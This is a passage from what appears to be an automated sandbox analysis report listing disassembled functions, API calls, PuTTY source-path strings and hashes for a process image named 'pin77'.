                                                                                                                                                    • Instruction Fuzzy Hash: AD4126705183888BCB16EF28D845A3BBBE0AF85314F48C56DE4CA4B247D731E918CB93
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00372730 Relevance: 2.6, Strings: 2, Instructions: 99COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    • ek->curve->type == EC_EDWARDS, xrefs: 0037274D
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/crypto/ecc-ssh.c, xrefs: 00372748
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/crypto/ecc-ssh.c$ek->curve->type == EC_EDWARDS
                                                                                                                                                    • API String ID: 0-3084317420
                                                                                                                                                    • Opcode ID: c431225078a770af456c10c83aa1124cd4de7e6ed8b260b22397042245966ebe
                                                                                                                                                    • Instruction ID: b5b82327d1f5bb890b34a8f7656c5f1dc2a954947101118eacb44579c2a59bd0
                                                                                                                                                    • Opcode Fuzzy Hash: c431225078a770af456c10c83aa1124cd4de7e6ed8b260b22397042245966ebe
                                                                                                                                                    • Instruction Fuzzy Hash: BD31C176C00210AFDB12AF54EC82D1AF7E5FF54329F094528F9586B362E731AD60CB92
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00358B40 Relevance: 2.5, Strings: 2, Instructions: 43COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    • x0->nw == x1->nw, xrefs: 00358B60
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/crypto/mpint.c, xrefs: 00358B5B
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/crypto/mpint.c$x0->nw == x1->nw
                                                                                                                                                    • API String ID: 0-3824505450
                                                                                                                                                    • Opcode ID: 8ed746350c24a29c706fd0278e5300decae532d0059c665d75a5ce7a30ee7a7c
                                                                                                                                                    • Instruction ID: e2536da0edc0d0647f560b792345451e81e36b861a2c843ccd43f6e45cff0b68
                                                                                                                                                    • Opcode Fuzzy Hash: 8ed746350c24a29c706fd0278e5300decae532d0059c665d75a5ce7a30ee7a7c
                                                                                                                                                    • Instruction Fuzzy Hash: AB0181B5A04201AFC724CF19D881E67F7F5FF9A310F294928D885A7341C332F855CAA2
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003747D0 Relevance: 2.2, APIs: 1, Instructions: 654COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: __aulldiv
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 3732870572-0
                                                                                                                                                    • Opcode ID: 277cbd6a59f8baa4579d44b711721f44710fb65b6825581f9bba46b39bb88784
                                                                                                                                                    • Instruction ID: eba3e0e1a6f1830314f39faaaafa90e1bcec5ed69823f9c3b2f4dbf5866969db
                                                                                                                                                    • Opcode Fuzzy Hash: 277cbd6a59f8baa4579d44b711721f44710fb65b6825581f9bba46b39bb88784
                                                                                                                                                    • Instruction Fuzzy Hash: 2222C4329043119BD725CF29C84162BB7E5FFD4704F168A2DF9889B3A1E778E854CB82
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0038AD00 Relevance: 2.0, Strings: 1, Instructions: 713COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: gj
                                                                                                                                                    • API String ID: 0-4203073231
                                                                                                                                                    • Opcode ID: c4343afd6d3300db3e234379bdcc680d07319f408a39f1264f9c77cff747c1bf
                                                                                                                                                    • Instruction ID: 4e0b6535f39b547b1815895b90794d61a700ee03690ba3cd894eed760f71c89b
                                                                                                                                                    • Opcode Fuzzy Hash: c4343afd6d3300db3e234379bdcc680d07319f408a39f1264f9c77cff747c1bf
                                                                                                                                                    • Instruction Fuzzy Hash: 6F72BEB1A093408FC358DF29C490A5AFBE2BFC8314F59892EE5D9D7351DB71A8548F82
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00376920 Relevance: 1.8, APIs: 1, Instructions: 262COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: __aulldiv
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 3732870572-0
                                                                                                                                                    • Opcode ID: 9060bd1cd7ee3a83cec344a5970c80aa5505c246910b6096937bce94f63f22d9
                                                                                                                                                    • Instruction ID: 7dec972d5ad352235784a4a22804457c70561001ed64acd9509be1cf2a1513b4
                                                                                                                                                    • Opcode Fuzzy Hash: 9060bd1cd7ee3a83cec344a5970c80aa5505c246910b6096937bce94f63f22d9
                                                                                                                                                    • Instruction Fuzzy Hash: D97101766047119BC725CF29CC9262AB3E5FF94710F0AC53CE889DB2A1E739E815C792
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00376690 Relevance: 1.7, APIs: 1, Instructions: 243COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: __aulldiv
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 3732870572-0
                                                                                                                                                    • Opcode ID: 10fb34c8d10b20af0a2bc3d776003a001105b226bb41dc61b048fea07b105330
                                                                                                                                                    • Instruction ID: 454ecbbb53400db09d71b57ea1f6cdc994e51d5a240ba8b5c766cd7933807b78
                                                                                                                                                    • Opcode Fuzzy Hash: 10fb34c8d10b20af0a2bc3d776003a001105b226bb41dc61b048fea07b105330
                                                                                                                                                    • Instruction Fuzzy Hash: F0610876A047126BC3159E29CD8271AB7E4EF94710F46D52DF888DF3A1E679E8108782
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0037E290 Relevance: 1.7, Strings: 1, Instructions: 487COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: 7
                                                                                                                                                    • API String ID: 0-1790921346
                                                                                                                                                    • Opcode ID: ee81860a589dceb2dbdd03f8ae5e6ec3fd9300c11e6a7540974f9574c8d0d4d1
                                                                                                                                                    • Instruction ID: 76b13cdd71994f3a06503c4123a55b2e706d91a3846bf883b2ff2a33be32102e
                                                                                                                                                    • Opcode Fuzzy Hash: ee81860a589dceb2dbdd03f8ae5e6ec3fd9300c11e6a7540974f9574c8d0d4d1
                                                                                                                                                    • Instruction Fuzzy Hash: 56024C72A083088BC354DF5ED88054BF7E3BFC8314F5A892DE998C3315DB75E9168A86
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00376460 Relevance: 1.7, APIs: 1, Instructions: 220COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: __aulldiv
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 3732870572-0
                                                                                                                                                    • Opcode ID: 4a9ac7b2d080601c30d28b40db84344e258bd1fe07b161279d385067addb9081
                                                                                                                                                    • Instruction ID: c0d1192add629ab230621aac3af8d17d9890e3fc2b4db7ec19aa9a81138e018e
                                                                                                                                                    • Opcode Fuzzy Hash: 4a9ac7b2d080601c30d28b40db84344e258bd1fe07b161279d385067addb9081
                                                                                                                                                    • Instruction Fuzzy Hash: 93512372614701ABC725DE29CC92A2BB3A1FFC0714F59C92CE449CB255E739E821C742
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0035C9F0 Relevance: 1.7, Strings: 1, Instructions: 440COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/crypto/mpint.c
                                                                                                                                                    • API String ID: 0-3220216471
                                                                                                                                                    • Opcode ID: ef3aceef9e1930346e2bfcddfa6eb8cad954af9dd88714bde03c135389571ec2
                                                                                                                                                    • Instruction ID: 2b156356c13c78fc36e6dc2b1a41214879721f1c2d5fa0bae89c081feee31a95
                                                                                                                                                    • Opcode Fuzzy Hash: ef3aceef9e1930346e2bfcddfa6eb8cad954af9dd88714bde03c135389571ec2
                                                                                                                                                    • Instruction Fuzzy Hash: 27E1CF76A007149FD7229F14DC42F6AB7A5EB95309F468428FD485B362E731FD08CBA2
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00392D27 Relevance: 1.6, Strings: 1, Instructions: 344COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: 0
                                                                                                                                                    • API String ID: 0-4108050209
                                                                                                                                                    • Opcode ID: 9f29768f77105f17dda59bc14cdff9020eeb8577c5a4d713e2e71f77428a38ff
                                                                                                                                                    • Instruction ID: 5328e7e75007e5fa35a551758c81aaafafea7a66c36dc66812c2a0f4595baeea
                                                                                                                                                    • Opcode Fuzzy Hash: 9f29768f77105f17dda59bc14cdff9020eeb8577c5a4d713e2e71f77428a38ff
                                                                                                                                                    • Instruction Fuzzy Hash: E0C1FF70900A46AFDF2ACF68C4846BBB7B5BF05300F254619D8A39B7A1C730AE45CB51
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003A882E Relevance: 1.6, APIs: 1, Instructions: 83COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                      • Part of subcall function 003A3052: GetLastError.KERNEL32(?,?,003959E8,?,?,?,?,0039DBC7,0039DB94,?,?,?,?,?,0039DB94,?), ref: 003A3056
                                                                                                                                                      • Part of subcall function 003A3052: SetLastError.KERNEL32(00000000,0039DB94,?,?,?,?,?,0039DB94,?,00000000,?,00000003,0039149B), ref: 003A30F8
                                                                                                                                                    • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 003A8882
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ErrorLast$InfoLocale
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 3736152602-0
                                                                                                                                                    • Opcode ID: 1520cb5b046012ab82b68fea5239757bd82fa5286277931af4d5c69ca28963eb
                                                                                                                                                    • Instruction ID: d622e3c49385daec51f186ffea36a32f3b49fd9f3e95457350a22c4c1eff7f2f
                                                                                                                                                    • Opcode Fuzzy Hash: 1520cb5b046012ab82b68fea5239757bd82fa5286277931af4d5c69ca28963eb
                                                                                                                                                    • Instruction Fuzzy Hash: 9621D472610206ABDB2A9F24DC41ABB33ACEF46314F10417AF906DA141EF78ED40D750
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003A84E1 Relevance: 1.6, APIs: 1, Instructions: 63COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                      • Part of subcall function 003A3052: GetLastError.KERNEL32(?,?,003959E8,?,?,?,?,0039DBC7,0039DB94,?,?,?,?,?,0039DB94,?), ref: 003A3056
                                                                                                                                                      • Part of subcall function 003A3052: SetLastError.KERNEL32(00000000,0039DB94,?,?,?,?,?,0039DB94,?,00000000,?,00000003,0039149B), ref: 003A30F8
                                                                                                                                                    • EnumSystemLocalesW.KERNEL32(003A857C,00000001,00000000,?,-00000050,?,003A836B,00000000,-00000002,00000000,?,00000055,?), ref: 003A8553
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ErrorLast$EnumLocalesSystem
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 2417226690-0
                                                                                                                                                    • Opcode ID: c9320a5377b2d7f1d9db18937ac8e5c4eaef34a27a67e8aec6922b1fe03da0e8
                                                                                                                                                    • Instruction ID: 48abaa6a83bfa66366c09a10398a6a614b3860c3f663669313c7d5592eaa5bba
                                                                                                                                                    • Opcode Fuzzy Hash: c9320a5377b2d7f1d9db18937ac8e5c4eaef34a27a67e8aec6922b1fe03da0e8
                                                                                                                                                    • Instruction Fuzzy Hash: 21116F376003019FDB199F39C8915BAB791FF86358B15853CE9874BB40D771B942CB40
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003A894E Relevance: 1.6, APIs: 1, Instructions: 63COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                      • Part of subcall function 003A3052: GetLastError.KERNEL32(?,?,003959E8,?,?,?,?,0039DBC7,0039DB94,?,?,?,?,?,0039DB94,?), ref: 003A3056
                                                                                                                                                      • Part of subcall function 003A3052: SetLastError.KERNEL32(00000000,0039DB94,?,?,?,?,?,0039DB94,?,00000000,?,00000003,0039149B), ref: 003A30F8
                                                                                                                                                    • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 003A89A2
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ErrorLast$InfoLocale
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 3736152602-0
                                                                                                                                                    • Opcode ID: 20b860806667c69df949f5822bf2fac0421f5e5a7ee90e67477fee5bfa1f70d2
                                                                                                                                                    • Instruction ID: 20df14334537ddf5385200e48af4d8b4930da672bea716ee0399c349d75f0847
                                                                                                                                                    • Opcode Fuzzy Hash: 20b860806667c69df949f5822bf2fac0421f5e5a7ee90e67477fee5bfa1f70d2
                                                                                                                                                    • Instruction Fuzzy Hash: FF11A3726102069FDB26AB28DC46ABB77ECEF06314B10417AF506DB181EF78E904C750
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003A8AFB Relevance: 1.5, APIs: 1, Instructions: 45COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                      • Part of subcall function 003A3052: GetLastError.KERNEL32(?,?,003959E8,?,?,?,?,0039DBC7,0039DB94,?,?,?,?,?,0039DB94,?), ref: 003A3056
                                                                                                                                                      • Part of subcall function 003A3052: SetLastError.KERNEL32(00000000,0039DB94,?,?,?,?,?,0039DB94,?,00000000,?,00000003,0039149B), ref: 003A30F8
                                                                                                                                                    • GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,003A8798,00000000,00000000,?), ref: 003A8B27
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ErrorLast$InfoLocale
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 3736152602-0
                                                                                                                                                    • Opcode ID: 64394694a02ca5a8b3b90f4951ca77562cf773e791ee1a80ee8299fce78cf21d
                                                                                                                                                    • Instruction ID: c3c9294d416e027de94f37a074039085b48390143d6b7e9cf1f4938997effc8f
                                                                                                                                                    • Opcode Fuzzy Hash: 64394694a02ca5a8b3b90f4951ca77562cf773e791ee1a80ee8299fce78cf21d
                                                                                                                                                    • Instruction Fuzzy Hash: E0F0A476600116AFDF3A9F248C46ABA7768EB41754F164438EC16A7180EE75FE41C6E0
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00314230 Relevance: 1.5, APIs: 1, Instructions: 43comCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • CoCreateInstance.OLE32(003BE914,00000000,00000001,003BE904), ref: 00314275
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
